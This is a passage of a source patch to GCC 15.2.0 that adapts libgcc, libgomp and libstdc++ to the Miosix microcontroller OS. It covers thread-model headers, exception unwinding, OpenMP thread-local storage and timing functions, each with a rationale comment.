kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return (_Unwind_Ptr) &_data; ++// abort (); + } + + _Unwind_Ptr +diff -ruN gcc-15.2.0-old/libgcc/config/arm/unwind-arm.h gcc-15.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-15.2.0-old/libgcc/config/arm/unwind-arm.h 2025-08-08 08:51:44.841420989 +0200 ++++ gcc-15.2.0/libgcc/config/arm/unwind-arm.h 2025-12-17 09:45:25.954367037 +0100 +@@ -82,6 +82,12 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ // DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ // as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ // see processes-patch.md ++ // This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ +diff -ruN gcc-15.2.0-old/libgcc/config/gthr-miosix.h gcc-15.2.0/libgcc/config/gthr-miosix.h +--- gcc-15.2.0-old/libgcc/config/gthr-miosix.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-15.2.0/libgcc/config/gthr-miosix.h 2025-12-17 09:45:25.954367037 +0100 +@@ -0,0 +1,94 @@ ++ ++// RATIONALE: make the code generated by GCC thread safe by providing a thread model ++ ++#ifndef GCC_GHTR_MIOSIX_H ++#define GCC_GHTR_MIOSIX_H ++ ++#include ++#include ++#include ++#include ++ ++// Note to self: gthr.h contains useful information ++// on how a gthr-xxx.h should look like ++ ++#define __GTHREADS 1 ++#define __GTHREAD_HAS_COND 1 ++#define __GTHREADS_CXX0X 1 ++// Found in libstdc++ ++#define _GTHREAD_USE_MUTEX_TIMEDLOCK 1 ++ ++// In Miosix, threads are always enabled, period. ++#define __gthread_active_p() 1 ++ ++typedef pthread_t __gthread_t; ++typedef pthread_key_t __gthread_key_t; ++typedef pthread_once_t __gthread_once_t; ++typedef pthread_mutex_t __gthread_mutex_t; ++typedef pthread_mutex_t __gthread_recursive_mutex_t; ++typedef pthread_cond_t __gthread_cond_t; ++typedef struct timespec __gthread_time_t; ++ ++#define __GTHREAD_ONCE_INIT PTHREAD_ONCE_INIT ++#define __GTHREAD_MUTEX_INIT PTHREAD_MUTEX_INITIALIZER ++#define __GTHREAD_MUTEX_INIT_FUNCTION __gthread_mutex_init_function ++#define __GTHREAD_RECURSIVE_MUTEX_INIT PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP ++#define __GTHREAD_RECURSIVE_MUTEX_INIT_FUNCTION __gthread_recursive_mutex_init_function ++#define __GTHREAD_COND_INIT PTHREAD_COND_INITIALIZER ++#define __GTHREAD_COND_INIT_FUNCTION __gthread_cond_init_function ++#define __GTHREAD_TIME_INIT {0,0} ++ ++#define __gthread_once pthread_once ++#define __gthread_mutex_destroy pthread_mutex_destroy ++#define __gthread_recursive_mutex_destroy pthread_mutex_destroy ++#define __gthread_cond_destroy pthread_cond_destroy ++#define __gthread_mutex_lock pthread_mutex_lock ++#define __gthread_mutex_trylock pthread_mutex_trylock ++#define __gthread_mutex_unlock pthread_mutex_unlock ++#define __gthread_recursive_mutex_lock pthread_mutex_lock ++#define __gthread_recursive_mutex_trylock pthread_mutex_trylock ++#define __gthread_recursive_mutex_unlock pthread_mutex_unlock ++#define __gthread_cond_signal pthread_cond_signal ++#define __gthread_cond_broadcast pthread_cond_broadcast ++#define __gthread_cond_wait pthread_cond_wait ++#define __gthread_cond_wait_recursive pthread_cond_wait ++#define __gthread_join pthread_join ++#define __gthread_detach pthread_detach ++#define __gthread_equal pthread_equal ++#define __gthread_self pthread_self ++#define __gthread_yield sched_yield ++#define __gthread_key_create pthread_key_create ++#define __gthread_key_delete pthread_key_delete ++#define __gthread_getspecific pthread_getspecific ++#define __gthread_setspecific pthread_setspecific ++#define __gthread_cond_timedwait pthread_cond_timedwait ++// These actually aren't implemented in Miosix, so code trying to use these will ++// fail to link, and for now it's the "desired" behaviour (better than failing ++// at runtime, at least). They are used somewhere in libstdc++ too, but as of ++// GCC 14 only in header files wrapping the same functionality in the C++ ++// threading classes, they are not used to provide other abstractions. ++#define __gthread_mutex_timedlock pthread_mutex_timedlock ++#define __gthread_recursive_mutex_timedlock pthread_mutex_timedlock ++ ++static inline void __gthread_mutex_init_function(__gthread_mutex_t *__mutex) ++{ ++ pthread_mutex_init(__mutex, NULL); ++} ++ ++static inline void __gthread_recursive_mutex_init_function(__gthread_recursive_mutex_t *__mutex) ++{ ++ // Defined in newlib patches for Miosix ++ __lock_init_recursive(*__mutex); ++} ++ ++static inline void __gthread_cond_init_function(__gthread_cond_t *__cond) ++{ ++ pthread_cond_init(__cond, NULL); ++} ++ ++static inline int __gthread_create(__gthread_t *__thrd, void *(*__func)(void*), void *__args) ++{ ++ return pthread_create(__thrd, NULL, __func, __args); ++} ++ ++#endif // GCC_GHTR_MIOSIX_H +diff -ruN gcc-15.2.0-old/libgcc/configure gcc-15.2.0/libgcc/configure +--- gcc-15.2.0-old/libgcc/configure 2025-08-08 08:51:44.915934840 +0200 ++++ gcc-15.2.0/libgcc/configure 2025-12-17 09:45:25.954367037 +0100 +@@ -5726,6 +5726,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-15.2.0-old/libgcc/unwind-arm-common.inc gcc-15.2.0/libgcc/unwind-arm-common.inc +--- gcc-15.2.0-old/libgcc/unwind-arm-common.inc 2025-08-08 08:51:44.926422406 +0200 ++++ gcc-15.2.0/libgcc/unwind-arm-common.inc 2025-12-17 09:45:25.954367037 +0100 +@@ -60,14 +60,18 @@ + ctm_succeeded_with_ptr_to_base = 2 + }; + +-void __attribute__((weak)) __cxa_call_unexpected(_Unwind_Control_Block *ucbp); +-bool __attribute__((weak)) __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); +-enum __cxa_type_match_result __attribute__((weak)) __cxa_type_match ++// Also declaring function prototypes weak seems to trigger the generation of ++// R_ARM_REL32. This only happens with a test program that does not throw ++// exceptions such as a main.cpp with just a printf() compiled without ++// -fno-exceptions for now, we'll just remove weak ++void /*__attribute__((weak))*/ __cxa_call_unexpected(_Unwind_Control_Block *ucbp); ++bool /*__attribute__((weak))*/ __cxa_begin_cleanup(_Unwind_Control_Block *ucbp); ++enum __cxa_type_match_result /*__attribute__((weak))*/ __cxa_type_match + (_Unwind_Control_Block *ucbp, const type_info *rttip, + bool is_reference, void **matched_object); + +-_Unwind_Ptr __attribute__((weak)) +-__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); ++//_Unwind_Ptr __attribute__((weak)) ++//__gnu_Unwind_Find_exidx (_Unwind_Ptr, int *); + + #define EXIDX_CANTUNWIND 1 + #define uint32_highbit (((_uw) 1) << 31) +@@ -269,6 +273,15 @@ + instruction itself. */ + return_address -= 2; + ++ /* ++ * Apparently checking the address of a weak symbol does not work in Miosix ++ * processes, as we get ++ * libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__gnu_Unwind_Find_exidx' can not be used when making a PIE executable; recompile with -fPIC ++ * unwind-arm-common.inc:237:(.text+0x138): dangerous relocation: unsupported relocation ++ * Since in Miosix we have __exidx_start|end, just remove this code ++ */ ++// TODO: #ifndef _MIOSIX does not work in this context ++#if 0 + if (__gnu_Unwind_Find_exidx) + { + eitp = (const __EIT_entry *) __gnu_Unwind_Find_exidx (return_address, +@@ -305,6 +318,10 @@ + eitp = &__exidx_start; + nrec = &__exidx_end - &__exidx_start; + } ++#else // _MIOSIX ++ eitp = &__exidx_start; ++ nrec = &__exidx_end - &__exidx_start; ++#endif + + eitp = search_EIT_table (eitp, nrec, return_address); + +diff -ruN gcc-15.2.0-old/libgcc/unwind-sjlj.c gcc-15.2.0/libgcc/unwind-sjlj.c +--- gcc-15.2.0-old/libgcc/unwind-sjlj.c 2025-08-08 08:51:44.927422424 +0200 ++++ gcc-15.2.0/libgcc/unwind-sjlj.c 2025-12-17 09:45:25.954367037 +0100 +@@ -91,7 +91,14 @@ + _Unwind_Personality_Fn personality; + } _Unwind_FrameState; + +- ++ ++// RATIONALE: _Miosix_set_sjlj_ptr and _Miosix_get_sjlj_ptr make ++// exception handling thread-safe even if Miosix does not support TLS ++// NOTE: C++ uses exception support is in eh_globals.cc, is there any code that ++// triggers these to be called? Otherwise we may either keep them if Miosix ++// will support architectures with sjlj exceptions, or even remove this patch ++#ifndef _MIOSIX ++ + /* Manage the chain of registered function contexts. */ + + /* Single threaded fallback chain. */ +@@ -163,6 +170,32 @@ + fc_static = fc; + } + ++#else //_MIOSIX ++ ++void _Miosix_set_sjlj_ptr(void* ptr); ++void *_Miosix_get_sjlj_ptr(); ++ ++void ++_Unwind_SjLj_Register (struct SjLj_Function_Context *fc) ++{ ++ fc->prev=_Miosix_get_sjlj_ptr(); ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++static inline struct SjLj_Function_Context * ++_Unwind_SjLj_GetContext (void) ++{ ++ return _Miosix_get_sjlj_ptr(); ++} ++ ++static inline void ++_Unwind_SjLj_SetContext (struct SjLj_Function_Context *fc) ++{ ++ _Miosix_set_sjlj_ptr(fc); ++} ++ ++#endif //_MIOSIX ++ + void + _Unwind_SjLj_Unregister (struct SjLj_Function_Context *fc) + { +diff -ruN gcc-15.2.0-old/libgomp/config/posix/omp-lock.h gcc-15.2.0/libgomp/config/posix/omp-lock.h +--- gcc-15.2.0-old/libgomp/config/posix/omp-lock.h 2025-08-08 08:51:45.338769542 +0200 ++++ gcc-15.2.0/libgomp/config/posix/omp-lock.h 2025-12-17 09:45:25.954367037 +0100 +@@ -8,7 +8,9 @@ + thread than the one that called pthread_mutex_lock. */ + + #include ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + typedef pthread_mutex_t omp_lock_25_t; + typedef struct { pthread_mutex_t lock; int count; } omp_nest_lock_25_t; +diff -ruN gcc-15.2.0-old/libgomp/config/posix/sem.h gcc-15.2.0/libgomp/config/posix/sem.h +--- gcc-15.2.0-old/libgomp/config/posix/sem.h 2025-08-08 08:51:45.338769542 +0200 ++++ gcc-15.2.0/libgomp/config/posix/sem.h 2025-12-17 09:45:25.954367037 +0100 +@@ -38,7 +38,9 @@ + # pragma GCC visibility push(default) + #endif + ++#ifndef HAVE_BROKEN_POSIX_SEMAPHORES + #include ++#endif + + #ifdef HAVE_ATTRIBUTE_VISIBILITY + # pragma GCC visibility pop +diff -ruN gcc-15.2.0-old/libgomp/configure gcc-15.2.0/libgomp/configure +--- gcc-15.2.0-old/libgomp/configure 2025-08-08 08:52:55.033591913 +0200 ++++ gcc-15.2.0/libgomp/configure 2025-12-17 09:45:25.954367037 +0100 +@@ -15427,6 +15427,11 @@ + $as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h + + ;; ++ *-miosix*) ++ ++$as_echo "#define HAVE_BROKEN_POSIX_SEMAPHORES 1" >>confdefs.h ++ ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-15.2.0-old/libgomp/configure.ac gcc-15.2.0/libgomp/configure.ac +--- gcc-15.2.0-old/libgomp/configure.ac 2025-08-08 08:52:55.023591746 +0200 ++++ gcc-15.2.0/libgomp/configure.ac 2025-12-17 09:45:25.954367037 +0100 +@@ -244,6 +244,10 @@ + AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, + Define if the POSIX Semaphores do not work on your system.) + ;; ++ *-miosix*) ++ AC_DEFINE(HAVE_BROKEN_POSIX_SEMAPHORES, 1, ++ Define if the POSIX Semaphores do not work on your system.) ++ ;; + esac + + # RTEMS specific checks +diff -ruN gcc-15.2.0-old/libgomp/configure.tgt gcc-15.2.0/libgomp/configure.tgt +--- gcc-15.2.0-old/libgomp/configure.tgt 2025-08-08 08:51:45.340429313 +0200 ++++ gcc-15.2.0/libgomp/configure.tgt 2025-12-17 09:45:25.954367037 +0100 +@@ -172,6 +172,12 @@ + config_path="nvptx accel" + ;; + ++ *-miosix-*) ++ config_path="posix" ++ # libgomp uses pthread_exit which on Miosix throws a terminate exception ++ XCFLAGS="${XCFLAGS} -fexceptions" ++ ;; ++ + *-*-rtems*) + # Use self-contained synchronization objects if provided by Newlib + if test "x$ac_cv_type_struct__Mutex_Control" = xyes ; then +diff -ruN gcc-15.2.0-old/libgomp/libgomp.h gcc-15.2.0/libgomp/libgomp.h +--- gcc-15.2.0-old/libgomp/libgomp.h 2025-08-08 08:51:45.342429347 +0200 ++++ gcc-15.2.0/libgomp/libgomp.h 2025-12-17 09:45:25.954367037 +0100 +@@ -974,9 +974,22 @@ + } + #else + extern pthread_key_t gomp_tls_key; ++struct gomp_thread *gomp_initialize_tls_key (void); + static inline struct gomp_thread *gomp_thread (void) + { +- return pthread_getspecific (gomp_tls_key); ++ /* NOTE: if openmp is only used by main(), then initialize_team() takes care ++ * of initializing gomp_tls_key for main() as team leader. However, if the ++ * application spawns a thread using pthread, C11 or C++11 threads and *that* ++ * thread tries to call some OpenMP-parallelized code, no one initialized ++ * gomp_tls_key for that thread, and pthread_getspecific() returns NULL. ++ * Calling gomp_initialize_tls_key() solves the issue. ++ */ ++ void *gomp_tls_ptr = pthread_getspecific (gomp_tls_key); ++ if (!gomp_tls_ptr) ++ { ++ gomp_tls_ptr = gomp_initialize_tls_key (); ++ } ++ return gomp_tls_ptr; + } + #endif + +diff -ruN gcc-15.2.0-old/libgomp/omp.h.in gcc-15.2.0/libgomp/omp.h.in +--- gcc-15.2.0-old/libgomp/omp.h.in 2025-08-08 08:51:45.344429380 +0200 ++++ gcc-15.2.0/libgomp/omp.h.in 2025-12-17 09:45:25.954367037 +0100 +@@ -139,7 +139,12 @@ + __omp_allocator_handle_t_max__ = __UINTPTR_MAX__ + } omp_allocator_handle_t; + +-typedef enum omp_alloctrait_key_t ++/* ++ * Patch rationale: force this to be 4 bytes. Somehow when compiled with GCC 14 ++ * this is 8 bytes, failing an assertion in libgomp_f.h:omp_check_defines() ++ */ ++typedef uint32_t omp_alloctrait_key_t; ++typedef enum _omp_alloctrait_key_t + { + omp_atk_sync_hint = 1, + omp_atk_alignment = 2, +@@ -149,7 +154,7 @@ + omp_atk_fb_data = 6, + omp_atk_pinned = 7, + omp_atk_partition = 8 +-} omp_alloctrait_key_t; ++} _omp_alloctrait_key_t; + + typedef enum omp_alloctrait_value_t + { +diff -ruN gcc-15.2.0-old/libgomp/team.c gcc-15.2.0/libgomp/team.c +--- gcc-15.2.0-old/libgomp/team.c 2025-08-08 08:51:45.349429464 +0200 ++++ gcc-15.2.0/libgomp/team.c 2025-12-17 09:45:25.954367037 +0100 +@@ -43,6 +43,20 @@ + __thread struct gomp_thread gomp_tls_data; + #else + pthread_key_t gomp_tls_key; ++ ++struct gomp_thread *gomp_initialize_tls_key (void) ++{ ++ struct gomp_thread *gomp_tls_ptr = malloc (sizeof (struct gomp_thread)); ++ if (!gomp_tls_ptr) gomp_fatal ("Out of memory"); ++ memset (gomp_tls_ptr, 0, sizeof (struct gomp_thread)); ++ pthread_setspecific (gomp_tls_key, gomp_tls_ptr); ++ return gomp_tls_ptr; ++} ++ ++void gomp_delete_tls_key (void* ptr) ++{ ++ free (ptr); ++} + #endif + + +@@ -78,8 +92,7 @@ + #if defined HAVE_TLS || defined USE_EMUTLS + thr = &gomp_tls_data; + #else +- struct gomp_thread local_thr; +- thr = &local_thr; ++ thr = gomp_initialize_tls_key (); + #endif + gomp_sem_init (&thr->release, 0); + +@@ -95,9 +108,6 @@ + #ifdef GOMP_NEEDS_THREAD_HANDLE + thr->handle = data->handle; + #endif +-#if !(defined HAVE_TLS || defined USE_EMUTLS) +- pthread_setspecific (gomp_tls_key, thr); +-#endif + + thr->ts.team->ordered_release[thr->ts.team_id] = &thr->release; + +@@ -262,9 +272,13 @@ + /* Free a thread pool and release its threads. */ + + void +-gomp_free_thread (void *arg __attribute__((unused))) ++gomp_free_thread (void *arg) + { +- struct gomp_thread *thr = gomp_thread (); ++ // NOTE: we cannot call gomp_thread () here as it calls pthread_getspecific () ++ // and the POSIX semantics require the pthread_key value to be set to NULL ++ // before calling the destructor. We must get the struct gomp_thread pointer ++ // from the arg parameter! ++ struct gomp_thread *thr = (struct gomp_thread *) arg; + struct gomp_thread_pool *pool = thr->thread_pool; + if (pool) + { +@@ -1022,10 +1036,8 @@ + initialize_team (void) + { + #if !defined HAVE_TLS && !defined USE_EMUTLS +- static struct gomp_thread initial_thread_tls_data; +- +- pthread_key_create (&gomp_tls_key, NULL); +- pthread_setspecific (gomp_tls_key, &initial_thread_tls_data); ++ pthread_key_create (&gomp_tls_key, gomp_delete_tls_key); ++ gomp_initialize_tls_key (); + #endif + + if (pthread_key_create (&gomp_thread_destructor, gomp_free_thread) != 0) +diff -ruN gcc-15.2.0-old/libstdc++-v3/configure gcc-15.2.0/libstdc++-v3/configure +--- gcc-15.2.0-old/libstdc++-v3/configure 2025-08-08 08:51:45.690435151 +0200 ++++ gcc-15.2.0/libstdc++-v3/configure 2026-03-03 11:58:31.469908430 +0100 +@@ -15967,6 +15967,7 @@ + dce) thread_header=config/pa/gthr-dce.h ;; + gcn) thread_header=config/gcn/gthr-gcn.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +@@ -21399,6 +21400,23 @@ + ac_has_sched_yield=yes + esac + ++ # apparently the miosix in arm-miosix-eabi is ${target_vendor} ++ case "${target_vendor}" in ++ miosix*) ++ # Rationale: src/c++11/chrono.cc src/c++11/thread.cc include/std/thread ++ # need to target the best syscalls for querying the time and sleeping, ++ # which are ++ # clock_gettime(CLOCK_REALTIME, &tp); //starting Jan 1st, 1970 ++ # clock_gettime(CLOCK_MONOTONIC, &tp); //starting @ boot ++ # clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts); ++ # clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &__ts, &__ts); ++ ac_has_clock_realtime=yes ++ ac_has_clock_monotonic=yes ++ ac_has_nanosleep=yes ++ ac_has_sched_yield=yes ++ ;; ++ esac ++ + elif test x"$enable_libstdcxx_time" != x"no"; then + + if test x"$enable_libstdcxx_time" = x"rt"; then +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/atomic_timed_wait.h gcc-15.2.0/libstdc++-v3/include/bits/atomic_timed_wait.h +--- gcc-15.2.0-old/libstdc++-v3/include/bits/atomic_timed_wait.h 2025-08-08 08:51:45.752436186 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/atomic_timed_wait.h 2025-12-17 09:45:25.962367037 +0100 +@@ -159,6 +159,16 @@ + static_cast(__ns.count()) + }; + ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use return value to check for timeout ++#ifdef _MIOSIX ++#ifdef _GLIBCXX_USE_PTHREAD_COND_CLOCKWAIT ++ if constexpr (is_same_v) ++ return __cv.wait_until(__mx, CLOCK_MONOTONIC, __ts) != ETIMEDOUT; ++ else ++#endif ++ return __cv.wait_until(__mx, __ts) != ETIMEDOUT; ++#else //_MIOSIX + #ifdef _GLIBCXX_USE_PTHREAD_COND_CLOCKWAIT + if constexpr (is_same_v) + __cv.wait_until(__mx, CLOCK_MONOTONIC, __ts); +@@ -166,6 +176,7 @@ + #endif + __cv.wait_until(__mx, __ts); + return _Clock::now() < __atime; ++#endif //_MIOSIX + } + + // returns true if wait ended before timeout +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/atomic_wait.h gcc-15.2.0/libstdc++-v3/include/bits/atomic_wait.h +--- gcc-15.2.0-old/libstdc++-v3/include/bits/atomic_wait.h 2025-08-08 08:51:45.752436186 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/atomic_wait.h 2026-02-26 08:58:48.954656889 +0100 +@@ -195,7 +195,13 @@ + { + // Don't use std::hardware_destructive_interference_size here because we + // don't want the layout of library types to depend on compiler options. ++#ifndef _MIOSIX + static constexpr auto _S_align = 64; ++#else ++ //Patch rationale: Miosix runs on microcontrollers which have no cache ++ //alignment issues, but there is very little RAM: reduce RAM usage ++ static constexpr auto _S_align = 1; ++#endif + + alignas(_S_align) __platform_wait_t _M_wait = 0; + +@@ -252,7 +258,12 @@ + static __waiter_pool_base& + _S_for(const void* __addr) noexcept + { ++#ifndef _MIOSIX + constexpr __UINTPTR_TYPE__ __ct = 16; ++#else ++ //Patch rationale: Miosix runs on microcontrollers: reduce RAM usage ++ constexpr __UINTPTR_TYPE__ __ct = 1; ++#endif + static __waiter_pool_base __w[__ct]; + auto __key = ((__UINTPTR_TYPE__)__addr >> 2) % __ct; + return __w[__key]; +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/fstream.tcc gcc-15.2.0/libstdc++-v3/include/bits/fstream.tcc +--- gcc-15.2.0-old/libstdc++-v3/include/bits/fstream.tcc 2025-08-08 08:51:45.756436253 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/fstream.tcc 2025-12-17 09:45:25.962367037 +0100 +@@ -85,7 +85,12 @@ + basic_filebuf<_CharT, _Traits>:: + basic_filebuf() : __streambuf_type(), _M_lock(), _M_file(&_M_lock), + _M_mode(ios_base::openmode(0)), _M_state_beg(), _M_state_cur(), +- _M_state_last(), _M_buf(0), _M_buf_size(_GLIBCXX_BUFSIZ), ++ _M_state_last(), _M_buf(0), ++#ifndef _MIOSIX ++ _M_buf_size(_GLIBCXX_BUFSIZ), ++#else ++ _M_buf_size(_GLIBCXX_BUFSIZ + 1), // By TFT: +1 to optimize reads/writes ++#endif + _M_buf_allocated(false), _M_reading(false), _M_writing(false), _M_pback(), + _M_pback_cur_save(0), _M_pback_end_save(0), _M_pback_init(false), + _M_codecvt(0), _M_ext_buf(0), _M_ext_buf_size(0), _M_ext_next(0), +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/std_mutex.h gcc-15.2.0/libstdc++-v3/include/bits/std_mutex.h +--- gcc-15.2.0-old/libstdc++-v3/include/bits/std_mutex.h 2025-08-08 08:51:45.765436403 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/std_mutex.h 2025-12-17 09:45:25.962367037 +0100 +@@ -174,19 +174,40 @@ + __glibcxx_assert(__e == 0); + } + ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use return value to check for timeout ++#ifdef _MIOSIX ++ int ++ wait_until(mutex& __m, timespec& __abs_time) ++ { ++ return __gthread_cond_timedwait(&_M_cond, __m.native_handle(), &__abs_time); ++ } ++#else //_MIOSIX + void + wait_until(mutex& __m, timespec& __abs_time) + { + __gthread_cond_timedwait(&_M_cond, __m.native_handle(), &__abs_time); + } ++#endif //_MIOSIX + + #ifdef _GLIBCXX_USE_PTHREAD_COND_CLOCKWAIT ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use return value to check for timeout ++#ifdef _MIOSIX ++ int ++ wait_until(mutex& __m, clockid_t __clock, timespec& __abs_time) ++ { ++ return pthread_cond_clockwait(&_M_cond, __m.native_handle(), __clock, ++ &__abs_time); ++ } ++#else //_MIOSIX + void + wait_until(mutex& __m, clockid_t __clock, timespec& __abs_time) + { + pthread_cond_clockwait(&_M_cond, __m.native_handle(), __clock, + &__abs_time); + } ++#endif //_MIOSIX + #endif + + void +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/stl_tree.h gcc-15.2.0/libstdc++-v3/include/bits/stl_tree.h +--- gcc-15.2.0-old/libstdc++-v3/include/bits/stl_tree.h 2025-08-08 08:51:45.769436470 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/stl_tree.h 2026-01-15 17:16:15.095576021 +0100 +@@ -1534,7 +1534,18 @@ + return _M_copy<__as_lvalue>(__x, __an); + } + +- void ++ /* ++ * Patch rationale: this function is not marked inline, for a reason I ++ * would add. However, in GCC 15.2.0 compiling with -O2 this function gets ++ * inlined. But this is a recursive function, so its implementation gets ++ * inlined again and again until after 8 times the compiler finally gives ++ * up. This excessive inlining causes every use of std::map to code bloat. ++ * This issue did not happen in GCC 9.2.0. ++ * For future compiler versions consider removing this patch if a ++ * disassembly of _M_erase shows assembly code matching one instance of ++ * the source code, not multiple ones... ++ */ ++ void __attribute__((noinline)) + _M_erase(_Node_ptr __x); + + _Base_ptr +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/bits/this_thread_sleep.h gcc-15.2.0/libstdc++-v3/include/bits/this_thread_sleep.h +--- gcc-15.2.0-old/libstdc++-v3/include/bits/this_thread_sleep.h 2025-08-08 08:51:45.769436470 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/bits/this_thread_sleep.h 2025-12-17 09:45:25.962367037 +0100 +@@ -79,8 +79,15 @@ + static_cast(__s.count()), + static_cast(__ns.count()) + }; ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use Miosix preferred sleep function ++#ifdef _MIOSIX ++ while (::clock_nanosleep(CLOCK_MONOTONIC, 0, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else //_MIOISX + while (::nanosleep(&__ts, &__ts) == -1 && errno == EINTR) + { } ++#endif //_MIOSIX + #else + __sleep_for(__s, __ns); + #endif +@@ -94,6 +101,21 @@ + #if __cplusplus > 201703L + static_assert(chrono::is_clock_v<_Clock>); + #endif ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: do not add skew by converting absolute sleep to relative ++#ifdef _MIOSIX ++ auto __rtime = __atime.time_since_epoch(); ++ auto __s = chrono::duration_cast(__rtime); ++ auto __ns = chrono::duration_cast(__rtime - __s); ++ __gthread_time_t __ts = ++ { ++ static_cast(__s.count()), ++ static_cast(__ns.count()) ++ }; ++ clockid_t __clk = _Clock::is_steady ? CLOCK_MONOTONIC : CLOCK_REALTIME; ++ while (::clock_nanosleep(__clk, TIMER_ABSTIME, &__ts, &__ts) == -1 && errno == EINTR) ++ { } ++#else // _MIOSIX + auto __now = _Clock::now(); + if (_Clock::is_steady) + { +@@ -106,6 +128,7 @@ + sleep_for(__atime - __now); + __now = _Clock::now(); + } ++#endif // _MIOSIX + } + #endif // ! NO_SLEEP + } // namespace this_thread +diff -ruN gcc-15.2.0-old/libstdc++-v3/include/std/condition_variable gcc-15.2.0/libstdc++-v3/include/std/condition_variable +--- gcc-15.2.0-old/libstdc++-v3/include/std/condition_variable 2025-08-08 08:51:45.811437170 +0200 ++++ gcc-15.2.0/libstdc++-v3/include/std/condition_variable 2025-12-17 09:45:25.962367037 +0100 +@@ -84,12 +84,29 @@ + public: + typedef __gthread_cond_t* native_handle_type; + ++/* ++ * Patch set ID: inline-condvar ++ */ ++#ifndef _MIOSIX ++ + condition_variable() noexcept; + ~condition_variable() noexcept; + ++#else //_MIOSIX ++ ++ condition_variable() noexcept = default; ++ ~condition_variable() noexcept = default; ++ ++#endif //_MIOSIX ++ + condition_variable(const condition_variable&) = delete; + condition_variable& operator=(const condition_variable&) = delete; + ++/* ++ * Patch set ID: inline-condvar ++ */ ++#ifndef _MIOSIX ++ + void + notify_one() noexcept; + +@@ -99,6 +116,28 @@ + void + wait(unique_lock& __lock); + ++#else // _MIOSIX ++ ++ void ++ notify_one() noexcept ++ { ++ _M_cond.notify_one(); ++ } ++ ++ void ++ notify_all() noexcept ++ { ++ _M_cond.notify_all(); ++ } ++ ++ void ++ wait(unique_lock& __lock) ++ { ++ _M_cond.wait(*__lock.mutex()); ++ } ++ ++#endif // _MIOSIX ++ + template + void + wait(unique_lock& __lock, _Predicate __p) +@@ -202,10 +241,17 @@ + static_cast(__ns.count()) + }; + ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use return value to check for timeout ++#ifdef _MIOSIX ++ return _M_cond.wait_until(*__lock.mutex(), CLOCK_MONOTONIC, __ts) == ETIMEDOUT ++ ? cv_status::timeout : cv_status::no_timeout; ++#else //_MIOSIX + _M_cond.wait_until(*__lock.mutex(), CLOCK_MONOTONIC, __ts); + + return (steady_clock::now() < __atime + ? cv_status::no_timeout : cv_status::timeout); ++#endif //_MIOSIX + } + #endif + +@@ -223,10 +269,17 @@ + static_cast(__ns.count()) + }; + ++ // Patch set ID: time-functions-optimization ++ // Patch rationale: use return value to check for timeout ++#ifdef _MIOSIX ++ return _M_cond.wait_until(*__lock.mutex(), __ts) == ETIMEDOUT ++ ? cv_status::timeout : cv_status::no_timeout; ++#else //_MIOSIX + _M_cond.wait_until(*__lock.mutex(), __ts); + + return (system_clock::now() < __atime + ? cv_status::no_timeout : cv_status::timeout); ++#endif //_MIOSIX + } + }; + +diff -ruN gcc-15.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc gcc-15.2.0/libstdc++-v3/libsupc++/eh_alloc.cc +--- gcc-15.2.0-old/libstdc++-v3/libsupc++/eh_alloc.cc 2025-08-08 08:51:45.825437404 +0200 ++++ gcc-15.2.0/libstdc++-v3/libsupc++/eh_alloc.cc 2026-03-03 20:18:40.333090287 +0100 +@@ -186,6 +186,18 @@ + + pool::pool() noexcept + { ++#ifdef _MIOSIX ++ // When compiling for Miosix, we lock the mutex. Not because we need it ++ // to protect against concurrent access, but to exercise this code path. ++ // Depending on how the kernel is compiled, the first attempt to lock a 